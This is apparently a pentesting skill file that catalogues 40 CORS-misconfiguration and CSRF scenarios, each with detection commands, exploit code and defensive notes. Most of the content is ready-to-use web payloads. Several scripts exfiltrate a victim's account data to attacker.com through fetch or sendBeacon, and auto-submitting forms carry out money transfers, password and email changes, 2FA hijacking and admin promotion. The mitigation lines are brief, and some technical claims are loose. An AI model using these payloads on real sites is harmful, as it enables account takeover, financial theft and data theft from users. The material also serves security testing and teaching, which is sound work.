---
name: scenarios-cors-csrf
description: "Real-world CORS misconfiguration and CSRF attack scenarios — HackerOne disclosures, OWASP cheatsheet, real bypass techniques"
---

# CORS Misconfiguration & CSRF — Real-World Attack Scenarios

> Sources: OWASP CORS cheatsheet · OWASP CSRF cheatsheet · PortSwigger CORS research · James Kettle "CORS" · HackerOne Hacktivity · Imperva CORS report 2024

## Index

### CORS Misconfigurations
- S01: Origin reflection with `Access-Control-Allow-Credentials: true`
- S02: Null origin accepted
- S03: Subdomain wildcard in origin (`*.target.com`)
- S04: Prefix match bypass (`eviltarget.com`)
- S05: Suffix match bypass (`target.com.evil.com`)
- S06: Regex bypass (`/^https?:\/\/.*target\.com/`)
- S07: Underscore in origin matches subdomain
- S08: Multiple origins in response
- S09: CORS over HTTP (not HTTPS)
- S10: CORS from iframe sandbox (`null` origin)
- S11: CORS via XSS in subdomain
- S12: DNS rebinding + CORS
- S13: CORS with `Access-Control-Allow-Origin: *` + JSONP fallback
- S14: CORS allows `null` + file:// protocol
- S15: CORS misconfig in API gateway

### CSRF Attacks
- S16: Classic CSRF — no token, cookie auth
- S17: CSRF with method override (POST → GET)
- S18: CSRF via JSON POST (text/plain content-type)
- S19: CSRF token in URL (leaks via Referer)
- S20: CSRF token tied to session cookie
- S21: CSRF token not validated server-side
- S22: CSRF token in cookie, not header
- S23: CSRF token predictable (sequential, MD5 of session)
- S24: CSRF token not required for state-changing GET
- S25: CSRF token only on form, not on AJAX
- S26: CSRF via XSS (steal token then submit)
- S27: Login CSRF (force user to login as attacker)
- S28: CSRF in logout endpoint
- S29: CSRF in 2FA setup
- S30: CSRF in file upload
- S31: CSRF in payment transfer
- S32: CSRF in password change
- S33: CSRF in email change
- S34: CSRF in admin actions
- S35: CSRF in API with cookie auth (SameSite=None bypass)
- S36: CSRF via DNS prefetch
- S37: CSRF via Service Workers
- S38: CSRF via WebSocket
- S39: CSRF via PDF submission
- S40: CSRF via Flash (legacy)

---

## S01: Origin reflection with `Access-Control-Allow-Credentials: true`
**Context:** Server reflects ANY origin in `Access-Control-Allow-Origin` header AND sets `Access-Control-Allow-Credentials: true`. Browser blocks this combo, but misconfigured frameworks allow it.
**Seen in:** Most common CORS misconfig. PortSwigger research. HackerOne — thousands of reports. Twitter 2018 had this (not exact but similar).
**Impact:** Cross-origin data theft if combined with cookie/session auth.

### Detection
```bash
# Test CORS
curl -H "Origin: https://attacker.com" -i https://target.com/api/account
# Look for both:
# Access-Control-Allow-Origin: https://attacker.com
# Access-Control-Allow-Credentials: true
```

### Exploit
```bash
# 1. Host attacker page
echo '<script>
fetch("https://target.com/api/account", {credentials: "include"})
  .then(r => r.json())
  .then(d => fetch("https://attacker.com/?d=" + btoa(JSON.stringify(d))))
</script>' > /tmp/exploit.html

# 2. Serve
python3 -m http.server 80

# 3. Victim visits → cookies sent → API responds with origin allowed
# → data exfiltrated
```

### Chain
1. Find endpoint with CORS misconfig + sensitive data
2. Host attacker page
3. Victim visits
4. Data exfiltrated to attacker

### Bypass / Notes
- Strict allowlist of origins
- Never use `*` with credentials
- Validate Origin server-side

---

## S02: Null origin accepted
**Context:** Server accepts `Origin: null` with credentials. This bypasses SOP via sandbox iframe, data: URI, or file://.
**Seen in:** Common. Real engagements.
**Impact:** Cross-origin data theft.

### Detection
```bash
curl -H "Origin: null" -i https://target.com/api/account
# Look for: Access-Control-Allow-Origin: null
# And: Access-Control-Allow-Credentials: true
```

### Exploit
```bash
# Use sandboxed iframe (null origin)
<iframe sandbox="allow-scripts" srcdoc="<script>
fetch('https://target.com/api/account', {credentials: 'include'})
  .then(r => r.text())
  .then(d => location='https://attacker.com/?d='+btoa(d))
</script>"></iframe>

# Or data: URI
<a href="data:text/html,<script>fetch('https://target.com/api/account',{credentials:'include'}).then(r=>r.text()).then(d=>navigator.sendBeacon('https://attacker.com',d))</script>">click</a>
```

### Chain
1. Find CORS with null origin allowed
2. Host exploit using null origin
3. Victim visits
4. Data exfiltrated

### Bypass / Notes
- Never allow null origin
- Strict Origin allowlist

---

## S03: Subdomain wildcard in origin (`*.target.com`)
**Context:** Server checks if Origin matches `*.target.com`. But any subdomain can be obtained/taken over.
**Seen in:** Real. Many companies. PortSwigger research.
**Impact:** XSS in any subdomain → CORS bypass → main domain data.

### Detection
```bash
curl -H "Origin: https://blog.target.com" -i https://target.com/api/account
curl -H "Origin: https://evil.target.com" -i https://target.com/api/account
# Both allowed? Wildcard.
```

### Exploit
```bash
# 1. Find subdomain takeover
# https://github.com/EdOverflow/can-i-take-over-xyz
subjack -w subdomains.txt -t 100 -timeout 30 -ssl -v

# 2. Host attacker page on taken subdomain
# 3. Page fetches target.com/api/account with credentials
# 4. CORS allows *.target.com → request succeeds
# 5. Data exfiltrated
```

### Chain
1. Subdomain takeover
2. Host exploit on taken subdomain
3. Exploit CORS wildcard
4. Access main domain data

### Bypass / Notes
- Don't use wildcards in CORS
- Strict allowlist
- Subdomain monitoring

---

## S04: Prefix match bypass (`eviltarget.com`)
**Context:** Server checks if Origin starts with `https://target.com`. But `https://eviltarget.com` also matches.
**Seen in:** Real.
**Impact:** Cross-origin data theft.

### Detection
```bash
curl -H "Origin: https://eviltarget.com" -i https://target.com/api/account
# Look for: Access-Control-Allow-Origin: https://eviltarget.com
```

### Exploit
```bash
# Register eviltarget.com
# Host exploit
# CORS bypass
```

### Chain
1. Find prefix match bypass
2. Register `eviltarget.com`
3. Host exploit
4. CORS allows

### Bypass / Notes
- Parse URL, validate hostname exactly
- Use URL parser library (not string match)

---

## S05: Suffix match bypass (`target.com.evil.com`)
**Context:** Server checks if Origin ends with `.target.com`. But `https://target.com.evil.com` ends with `target.com.evil.com` and matches.
**Seen in:** Real.
**Impact:** Cross-origin data theft.

### Detection
```bash
curl -H "Origin: https://target.com.evil.com" -i https://target.com/api/account
# Look for: Access-Control-Allow-Origin: https://target.com.evil.com
```

### Exploit
```bash
# Register target.com.evil.com
# Or use XSS in subdomain to set up
```

### Chain
1. Find suffix match bypass
2. Get control of evil.com subdomain
3. Host exploit on target.com.evil.com
4. CORS allows

### Bypass / Notes
- Parse URL properly
- Use exact hostname match
- Validate full URL

---

## S06: Regex bypass (`/^https?:\/\/.*target\.com/`)
**Context:** Server uses regex to check Origin. Regex is buggy.
**Seen in:** Real.
**Impact:** Cross-origin data theft.

### Detection
```bash
# Test various bypass strings
for origin in "https://target.com" "https://attacker.com?target.com" "https://target.com.attacker.com" "https://attacker.com/target.com" "https://target.com@attacker.com"; do
  curl -H "Origin: $origin" -i https://target.com/api/account | grep -i "allow-origin"
done
```

### Exploit
```bash
# Use whatever bypass string works
# Host on matching domain
```

### Chain
1. Find regex bypass
2. Host exploit on matching URL
3. CORS allows
4. Data exfiltrated

### Bypass / Notes
- Use URL parser, not regex
- Strict allowlist

---

## S07: Underscore in origin matches subdomain
**Context:** Server parses `something_target.com` as `something.target.com`.
**Seen in:** Real (Shopify, GitHub historically).
**Impact:** Bypass origin check.

### Detection
```bash
# Test underscore
curl -H "Origin: https://attacker_target.com" -i https://target.com/api/account
# Some servers parse as *.target.com
```

### Exploit
```bash
# Register attacker_target.com
# Or use XSS in subdomain
```

### Chain
1. Find underscore bypass
2. Register domain with underscore
3. CORS allows
4. Data theft

### Bypass / Notes
- Modern URL parsers don't have this bug
- Upgrade to standard URL parser

---

## S08: Multiple origins in response
**Context:** Server returns multiple origins in `Access-Control-Allow-Origin` (comma-separated, multiple headers, etc.).
**Seen in:** Rare but seen.
**Impact:** Bypass SOP.

### Detection
```bash
curl -H "Origin: https://attacker.com" -i https://target.com/api/account
# Look for multiple origins in response
```

### Exploit
```bash
# If multiple allowed, use any one
```

### Chain
1. Find multi-origin response
2. Use allowed origin
3. CORS bypass

### Bypass / Notes
- Single origin per response
- Strict validation

---

## S09: CORS over HTTP (not HTTPS)
**Context:** CORS allows HTTP origin (not HTTPS). MITM allows attacker to inject response and serve from HTTP.
**Seen in:** Real.
**Impact:** MITM + CORS bypass.

### Detection
```bash
curl -H "Origin: http://attacker.com" -i https://target.com/api/account
# Look for: Access-Control-Allow-Origin: http://attacker.com
```

### Exploit
```bash
# 1. MITM attack (coffee shop, evil AP)
# 2. Inject HTTP response with attacker origin
# 3. Browser sends CORS request
# 4. Server allows HTTP origin
# 5. Data exfiltrated
```

### Chain
1. MITM position
2. Inject CORS exploit
3. CORS allows HTTP
4. Data theft

### Bypass / Notes
- Only allow HTTPS origins
- HSTS strict

---

## S10: CORS via iframe sandbox (`null` origin)
**Context:** `null` origin from sandboxed iframe. See S02.
**Seen in:** Combined with S02.
**Impact:** Bypass SOP.

### Detection
```bash
curl -H "Origin: null" -i https://target.com/api/account
```

### Exploit
```bash
<iframe sandbox="allow-scripts" srcdoc="..."></iframe>
```

### Chain
Same as S02.

### Bypass / Notes
- Don't allow null origin

---

## S11: CORS via XSS in subdomain
**Context:** XSS in `blog.target.com` allows attacker to bypass CORS (which allows `*.target.com`).
**Seen in:** Common pattern.
**Impact:** CORS bypass via XSS chain.

### Detection
```bash
# 1. Find XSS in any target.com subdomain
# 2. Check if *.target.com is in CORS allowlist
```

### Exploit
```bash
# 1. XSS in blog.target.com
<script>
fetch('https://target.com/api/account', {credentials: 'include'})
  .then(r => r.text())
  .then(d => fetch('https://attacker.com/?d=' + btoa(d)))
</script>

# 2. CORS allows *.target.com → request succeeds
# 3. Cookies sent (same parent domain) → API responds
# 4. Data exfiltrated
```

### Chain
1. Find subdomain XSS
2. CORS allows *.parent.com
3. XSS exploits CORS
4. Main domain data stolen

### Bypass / Notes
- Don't use wildcards in CORS
- Or: stricter cookie scoping

---

## S12: DNS rebinding + CORS
**Context:** DNS rebinding attack. Attacker DNS resolves to target IP. CORS allows attacker domain → target responds.
**Seen in:** Real. PortSwigger research.
**Impact:** SSRF + CORS bypass.

### Detection
```bash
# Setup rebinding DNS
# nslookup: 1.2.3.4 → 5.6.7.8 (target IP)
```

### Exploit
```bash
# Use rebinder tool
# https://github.com/brannondorsey/whonow
# https://lock.cmpxchg8b.com/rebinder.html

# Or use rebind.it
# Or self-hosted with short TTL
```

### Chain
1. Setup rebinding DNS
2. Victim visits attacker.com
3. DNS rebinds to target.com IP
4. JS fetches target.com/api
5. CORS allows attacker.com → succeeds
6. Data exfiltrated

### Bypass / Notes
- Validate Host header matches Origin
- Or: pin DNS

---

## S13: CORS with `Access-Control-Allow-Origin: *` + JSONP fallback
**Context:** CORS is `*` (no credentials). App also supports JSONP. JSONP works with cookies.
**Seen in:** Old APIs with JSONP endpoints.
**Impact:** Cross-origin data theft.

### Detection
```bash
# Test JSONP
curl "https://target.com/api/account?callback=foo"
# Returns: foo({"data": "secret"})

# Test CORS
curl -H "Origin: https://attacker.com" -i https://target.com/api/account
# Access-Control-Allow-Origin: *
```

### Exploit
```bash
# Use JSONP (works with cookies)
<script src="https://target.com/api/account?callback=exploit"></script>
<script>
function exploit(data) {
  fetch('https://attacker.com/?d=' + btoa(JSON.stringify(data)))
}
</script>
```

### Chain
1. Find JSONP endpoint
2. CORS is `*` (no creds)
3. JSONP uses cookies
4. Cross-origin data theft

### Bypass / Notes
- Disable JSONP
- Use only CORS with strict allowlist

---

## S14: CORS allows `null` + file:// protocol
**Context:** Origin from file:// is also null. Combined with null origin allowed.
**Seen in:** Real.
**Impact:** Cross-origin data theft.

### Detection
```bash
curl -H "Origin: null" -i https://target.com/api/account
```

### Exploit
```bash
# Host HTML on file:// or use data: URI
```

### Chain
Same as S02.

### Bypass / Notes
- Don't allow null

---

## S15: CORS misconfig in API gateway
**Context:** API gateway (Kong, AWS API Gateway, etc.) has default CORS that allows everything.
**Seen in:** Real.
**Impact:** Cross-origin data theft.

### Detection
```bash
# Check API gateway CORS
curl -H "Origin: https://attacker.com" -i https://api.target.com/endpoint
```

### Exploit
```bash
# If gateway allows, exploit
```

### Chain
1. Find gateway
2. Check CORS
3. Exploit

### Bypass / Notes
- Configure CORS at gateway level
- Don't use defaults

---

## S16: Classic CSRF — no token, cookie auth
**Context:** State-changing endpoint relies on cookie auth, has no CSRF token, no SameSite cookie.
**Seen in:** Real. Most common CSRF.
**Impact:** Unauthorized state change.

### Detection
```bash
# Check endpoint
curl -X POST https://target.com/api/transfer \
  -H "Cookie: session=stolen" \
  -d '{"to":"attacker","amount":100}'
# No CSRF token? Just cookies? Vulnerable.
```

### Exploit
```html
<!-- attacker.com/csrf.html -->
<html><body>
<form action="https://target.com/api/transfer" method="POST" id="f">
  <input name="to" value="attacker">
  <input name="amount" value="100">
</form>
<script>document.getElementById('f').submit()</script>
</body></html>
```

### Chain
1. Find state-changing endpoint with cookie auth
2. Craft CSRF form
3. Host on attacker site
4. Victim visits → form submits → state changed

### Bypass / Notes
- CSRF token (per-session, per-request)
- SameSite=Strict or Lax
- Origin/Referer validation

---

## S17: CSRF with method override (POST → GET)
**Context:** App blocks CSRF on POST. But accepts X-HTTP-Method-Override header to make GET act as POST.
**Seen in:** Real.
**Impact:** CSRF bypass.

### Detection
```bash
# Check method override
curl -X GET https://target.com/api/transfer?to=attacker&amount=100 \
  -H "X-HTTP-Method-Override: POST" \
  -H "Cookie: session=stolen"
# Works? Method override CSRF.
```

### Exploit
```html
<!-- CSRF via GET with method override -->
<img src="https://target.com/api/transfer?to=attacker&amount=100">
<!-- with X-HTTP-Method-Override: POST — but headers can't be set in img tags -->

<!-- Or use hidden form + submit as GET -->
```

### Chain
1. Find method override
2. CSRF via GET
3. State changed

### Bypass / Notes
- Don't allow method override
- Or: validate Origin on override

---

## S18: CSRF via JSON POST (text/plain content-type)
**Context:** App only checks CSRF on application/x-www-form-urlencoded. JSON with text/plain can be sent cross-origin.
**Seen in:** Real. Common in old APIs.
**Impact:** CSRF on JSON endpoints.

### Detection
```bash
# Test JSON endpoint
curl -X POST https://target.com/api/transfer \
  -H "Content-Type: text/plain" \
  -H "Cookie: session=stolen" \
  -d '{"to":"attacker","amount":100}'
# Works? CSRF on JSON.
```

### Exploit
```html
<form action="https://target.com/api/transfer" method="POST" enctype="text/plain">
  <input name='{"to":"attacker","amount":100,"x":"' value='"}'>
</form>
<script>document.forms[0].submit()</script>
```

### Chain
1. Find JSON endpoint
2. Send with text/plain
3. CSRF works

### Bypass / Notes
- Require application/json Content-Type
- Validate Content-Type server-side

---

## S19: CSRF token in URL (leaks via Referer)
**Context:** CSRF token is in URL parameter. Leaks via Referer header to external sites.
**Seen in:** Real.
**Impact:** CSRF token theft.

### Detection
```bash
# Check if token is in URL
curl -X POST "https://target.com/api/transfer?csrf_token=xxx" -d '{"to":"x"}'
```

### Exploit
```bash
# Token leaks via Referer when user clicks external link
# Attacker monitors Referer logs
# Uses token for CSRF
```

### Chain
1. Token in URL
2. User clicks external link
3. Referer includes token
4. Token used for CSRF

### Bypass / Notes
- Token in body or header, not URL
- Referrer-Policy: no-referrer

---

## S20: CSRF token tied to session cookie
**Context:** CSRF token doesn't change with session. If attacker has old token + new session (from XSS or leak), works.
**Seen in:** Common.
**Impact:** CSRF token reuse.

### Detection
```bash
# Compare tokens across sessions
# Token 1: 123
# Token 2: 456
# If same: not session-bound
```

### Exploit
```bash
# Use old token
```

### Chain
1. Get old token
2. Use with new session
3. CSRF works

### Bypass / Notes
- Per-session tokens
- Rotate on login

---

## S21: CSRF token not validated server-side
**Context:** Form has CSRF token field, but server doesn't validate it. Just present for show.
**Seen in:** Common. Developer forgot to validate.
**Impact:** CSRF with no token.

### Detection
```bash
# Test without token
curl -X POST https://target.com/api/transfer \
  -H "Cookie: session=stolen" \
  -d '{"to":"attacker","amount":100}'
# 200 OK? No validation.
```

### Exploit
```html
<form action="https://target.com/api/transfer" method="POST">
  <input name="to" value="attacker">
  <input name="amount" value="100">
  <!-- No CSRF token needed -->
</form>
<script>document.forms[0].submit()</script>
```

### Chain
1. Find endpoint
2. Test without token
3. CSRF

### Bypass / Notes
- Server-side validation mandatory

---

## S22: CSRF token in cookie, not header
**Context:** Frontend reads CSRF from cookie and adds to header. If app accepts both, CSRF via header may work without proper validation.
**Seen in:** Real.
**Impact:** CSRF bypass.

### Detection
```bash
# Test if header is required
curl -X POST https://target.com/api/transfer \
  -H "Cookie: session=stolen; csrf=xxx" \
  -d '{}'
# vs
curl -X POST https://target.com/api/transfer \
  -H "Cookie: session=stolen" \
  -H "X-CSRF-Token: xxx" \
  -d '{}'
```

### Exploit
```bash
# If both work, find bypass
```

### Chain
1. Test token in different positions
2. Bypass

### Bypass / Notes
- Require token in specific position (header)
- Validate token server-side

---

## S23: CSRF token predictable (sequential, MD5 of session)
**Context:** CSRF token is sequential (1, 2, 3) or MD5(session_id) — predictable.
**Seen in:** Real.
**Impact:** CSRF token prediction.

### Detection
```bash
# Get 5 tokens
for i in 1 2 3 4 5; do
  curl -s -c cookies_$i.txt https://target.com/form
  TOKEN=$(grep csrf cookies_$i.txt | awk '{print $7}')
  echo "Session $i: Token $TOKEN"
done
# Sequential or MD5? Predictable.
```

### Exploit
```bash
# Predict next token
# Use for CSRF
```

### Chain
1. Observe token pattern
2. Predict next
3. Use for CSRF

### Bypass / Notes
- Cryptographically random tokens
- Per-session, per-request

---

## S24: CSRF token not required for state-changing GET
**Context:** State change in GET parameter. No CSRF check on GET.
**Seen in:** Real.
**Impact:** CSRF via image tag.

### Detection
```bash
# State change in GET
curl "https://target.com/api/transfer?to=attacker&amount=100" \
  -H "Cookie: session=stolen"
# 200 OK? GET state change.
```

### Exploit
```html
<img src="https://target.com/api/transfer?to=attacker&amount=100">
<!-- When victim visits attacker.com with target.com cookies, image is loaded -->
<!-- GET request with cookies → state changed -->
```

### Chain
1. Find state change in GET
2. CSRF via image
3. State changed

### Bypass / Notes
- Never use GET for state change
- Always POST/PUT/DELETE

---

## S25: CSRF token only on form, not on AJAX
**Context:** Form has CSRF. AJAX endpoint has no CSRF check.
**Seen in:** Real.
**Impact:** CSRF via AJAX.

### Detection
```bash
# Find AJAX endpoint
curl -X POST https://target.com/api/v2/transfer \
  -H "Cookie: session=stolen" \
  -H "Content-Type: application/json" \
  -d '{"to":"attacker","amount":100}'
# 200 OK? No CSRF on AJAX.
```

### Exploit
```html
<!-- AJAX CSRF via text/plain -->
<script>
var x = new XMLHttpRequest();
x.open('POST', 'https://target.com/api/v2/transfer');
x.setRequestHeader('Content-Type', 'text/plain');
x.withCredentials = true;
x.send('{"to":"attacker","amount":100}');
</script>
```

### Chain
1. Find AJAX endpoint
2. CSRF via text/plain
3. State changed

### Bypass / Notes
- CSRF on all state-changing endpoints
- CORS preflight (OPTIONS) also has CSRF implications

---

## S26: CSRF via XSS (steal token then submit)
**Context:** XSS allows reading CSRF token from page, then submitting.
**Seen in:** Common.
**Impact:** CSRF even with token.

### Detection
```bash
# Find XSS
# Token in DOM
```

### Exploit
```html
<!-- XSS payload -->
<script>
// Read CSRF token from page
var token = document.querySelector('input[name=csrf_token]').value;

// Submit CSRF
fetch('/api/transfer', {
  method: 'POST',
  credentials: 'include',
  headers: {'Content-Type': 'application/json', 'X-CSRF-Token': token},
  body: JSON.stringify({to: 'attacker', amount: 100})
});
</script>
```

### Chain
1. XSS
2. Read CSRF token
3. Submit CSRF
4. State changed

### Bypass / Notes
- CSP to prevent XSS
- HttpOnly cookies (doesn't help against this)

---

## S27: Login CSRF (force user to login as attacker)
**Context:** Attacker forces victim to login to attacker's account. Victim's actions then go to attacker's account.
**Seen in:** Real.
**Impact:** Data theft, action hijacking.

### Detection
```bash
# Test: can attacker make victim login as attacker?
```

### Exploit
```html
<!-- Login as attacker, then redirect -->
<form action="https://target.com/login" method="POST" id="f">
  <input name="user" value="attacker">
  <input name="pass" value="attacker_pass">
</form>
<script>document.getElementById('f').submit();</script>
```

### Chain
1. Create attacker account on target
2. CSRF login victim as attacker
3. Victim's actions go to attacker's account
4. Attacker sees victim's data

### Bypass / Notes
- CSRF token on login
- SameSite=Strict on session

---

## S28: CSRF in logout endpoint
**Context:** Logout endpoint has no CSRF protection. Attacker forces victim to logout.
**Seen in:** Common.
**Impact:** DoS, annoyance.

### Detection
```bash
curl -X POST https://target.com/logout -H "Cookie: session=stolen"
# No CSRF? Logout CSRF.
```

### Exploit
```html
<img src="https://target.com/logout">
<!-- Or form -->
```

### Chain
1. Find logout endpoint
2. CSRF logout
3. Annoyance / DoS

### Bypass / Notes
- Logout is GET → trivially CSRF
- Make logout POST + CSRF token

---

## S29: CSRF in 2FA setup
**Context:** Attacker sets 2FA on victim's account, locking them out.
**Seen in:** Real.
**Impact:** Account lockout, ATO.

### Detection
```bash
curl -X POST https://target.com/2fa/setup \
  -H "Cookie: session=stolen" \
  -d '{"phone":"+15555550100"}'
```

### Exploit
```html
<form action="https://target.com/2fa/setup" method="POST" id="f">
  <input name="phone" value="+15555550100">
</form>
<script>document.getElementById('f').submit()</script>
```

### Chain
1. CSRF 2FA setup
2. Victim locked out
3. Attacker has 2FA control

### Bypass / Notes
- CSRF on 2FA setup
- Confirm 2FA via email

---

## S30: CSRF in file upload
**Context:** File upload endpoint has no CSRF. Attacker uploads malicious file to victim's account.
**Seen in:** Real.
**Impact:** Stored XSS, malware upload.

### Detection
```bash
# Test file upload
curl -X POST https://target.com/api/upload \
  -H "Cookie: session=stolen" \
  -F "file=@evil.html"
```

### Exploit
```html
<form action="https://target.com/api/upload" method="POST" enctype="multipart/form-data" id="f">
  <input name="file" type="file">
</form>
<script>
  // Set file via DataTransfer
  var dt = new DataTransfer();
  dt.items.add(new File(['<script>...</script>'], 'evil.html'));
  document.querySelector('input[type=file]').files = dt.files;
  document.getElementById('f').submit();
</script>
```

### Chain
1. CSRF file upload
2. Malicious file in victim's account
3. Other users see it → XSS / malware

### Bypass / Notes
- CSRF token on upload
- Validate file content server-side

---

## S31: CSRF in payment transfer
**Context:** Payment endpoint vulnerable to CSRF. Attacker transfers victim's money.
**Seen in:** Real. Critical.
**Impact:** Direct financial loss.

### Detection
```bash
curl -X POST https://target.com/api/transfer \
  -H "Cookie: session=stolen" \
  -d '{"to":"attacker","amount":1000}'
# No CSRF? Critical.
```

### Exploit
```html
<form action="https://target.com/api/transfer" method="POST" id="f">
  <input name="to" value="attacker">
  <input name="amount" value="1000">
</form>
<script>document.getElementById('f').submit()</script>
```

### Chain
1. Find transfer endpoint
2. CSRF
3. Money moved

### Bypass / Notes
- CSRF token on payment
- Re-auth for payment
- Confirmation step

---

## S32: CSRF in password change
**Context:** Password change endpoint has no CSRF. Attacker changes victim's password.
**Seen in:** Real.
**Impact:** ATO.

### Detection
```bash
curl -X POST https://target.com/api/password \
  -H "Cookie: session=stolen" \
  -d '{"new_password":"attacker_pw"}'
# 200 OK? CSRF password change.
```

### Exploit
```html
<form action="https://target.com/api/password" method="POST" id="f">
  <input name="new_password" value="attacker_pw">
</form>
<script>document.getElementById('f').submit()</script>
```

### Chain
1. CSRF password change
2. Victim locked out
3. Attacker logs in with new password

### Bypass / Notes
- CSRF token
- Current password required
- Email confirmation

---

## S33: CSRF in email change
**Context:** Email change endpoint has no CSRF. Attacker changes victim's email → ATO.
**Seen in:** Real.
**Impact:** ATO.

### Detection
```bash
curl -X POST https://target.com/api/email \
  -H "Cookie: session=stolen" \
  -d '{"email":"attacker@evil.com"}'
```

### Exploit
```html
<form action="https://target.com/api/email" method="POST" id="f">
  <input name="email" value="attacker@evil.com">
</form>
<script>document.getElementById('f').submit()</script>
```

### Chain
1. CSRF email change
2. Email verification link → attacker
3. ATO

### Bypass / Notes
- CSRF token
- Email confirmation

---

## S34: CSRF in admin actions
**Context:** Admin actions via cookie auth. Attacker tricks admin into performing action.
**Seen in:** Real.
**Impact:** Privilege escalation.

### Detection
```bash
# Admin endpoint
curl -X POST https://target.com/admin/promote \
  -H "Cookie: admin_session=xxx" \
  -d '{"user":"attacker","role":"admin"}'
```

### Exploit
```html
<form action="https://target.com/admin/promote" method="POST" id="f">
  <input name="user" value="attacker">
  <input name="role" value="admin">
</form>
<script>document.getElementById('f').submit()</script>
```

### Chain
1. Attacker (or victim) is admin
2. CSRF on admin action
3. Privilege escalation

### Bypass / Notes
- CSRF on admin endpoints
- Re-auth for sensitive actions

---

## S35: CSRF in API with cookie auth (SameSite=None bypass)
**Context:** API uses cookie auth. SameSite=None allows cross-site cookies.
**Seen in:** Real.
**Impact:** CSRF on API.

### Detection
```bash
# Check cookie attributes
curl -I https://target.com | grep -i set-cookie
# SameSite=None; Secure
# Cross-site cookies sent → CSRF possible
```

### Exploit
```html
<form action="https://target.com/api/action" method="POST">
  ...
</form>
<!-- SameSite=None → cookies sent cross-site -->
```

### Chain
1. SameSite=None
2. CSRF works
3. State changed

### Bypass / Notes
- SameSite=Lax or Strict
- Or: use token auth instead of cookies

---

## S36: CSRF via DNS prefetch
**Context:** DNS prefetch hints can trigger requests. Used for CSRF.
**Seen in:** Edge case.
**Impact:** CSRF bypass with token.

### Detection
```bash
# Check if requests happen on prefetch
```

### Exploit
```html
<link rel="dns-prefetch" href="https://target.com/api/action?token=stolen">
<!-- Triggers DNS request that may also trigger HTTP request -->
```

### Chain
1. Find CSRF
2. Use DNS prefetch
3. State changed

### Bypass / Notes
- Modern browsers don't fire HTTP on DNS prefetch
- Or: requires explicit fetch

---

## S37: CSRF via Service Workers
**Context:** Service Workers can intercept and forge requests.
**Seen in:** Requires XSS to register SW.
**Impact:** Persistent CSRF.

### Detection
```bash
# Service Worker registered via XSS
```

### Exploit
```javascript
// Service Worker
self.addEventListener('fetch', e => {
  if (e.request.url.includes('/api/')) {
    // Forge CSRF
    e.respondWith(fetch(e.request, {credentials: 'include'}));
  }
});
```

### Chain
1. XSS to register SW
2. SW intercepts fetches
3. CSRF persistent

### Bypass / Notes
- Strict CSP
- HTTPS only for SW

---

## S38: CSRF via WebSocket
**Context:** WebSocket connection from page. If cookie auth, can send messages from cross-origin.
**Seen in:** Real.
**Impact:** CSRF via WS.

### Detection
```bash
# Check WS auth
```

### Exploit
```javascript
// Cross-origin WS
var ws = new WebSocket('wss://target.com/socket');
ws.onopen = () => {
  ws.send(JSON.stringify({action: 'transfer', to: 'attacker', amount: 100}));
};
```

### Chain
1. Find WS endpoint with cookie auth
2. Connect cross-origin
3. Send CSRF message

### Bypass / Notes
- Token auth for WS
- Origin check on WS handshake

---

## S39: CSRF via PDF submission
**Context:** PDF form submission can be CSRF.
**Seen in:** Legacy apps with PDF forms.
**Impact:** CSRF via PDF.

### Detection
```bash
# Test PDF form submission
```

### Exploit
```bash
# Generate PDF with form
# Host PDF on attacker site
# Victim opens PDF → form submits to target
```

### Chain
1. Generate CSRF PDF
2. Host
3. Victim opens → CSRF

### Bypass / Notes
- Modern browsers block PDF CSRF
- Restrict PDF form submission

---

## S40: CSRF via Flash (legacy)
**Context:** Flash can make cross-origin requests.
**Seen in:** Legacy.
**Impact:** CSRF via Flash.

### Detection
```bash
# Test Flash CSRF
```

### Exploit
```actionscript
// Flash AS2
var req = new LoadVars();
req.send("https://target.com/api/transfer?to=attacker&amount=100", "_blank", "POST");
```

### Chain
1. Host Flash file
2. Victim opens
3. CSRF

### Bypass / Notes
- Flash deprecated
- Modern browsers block

---
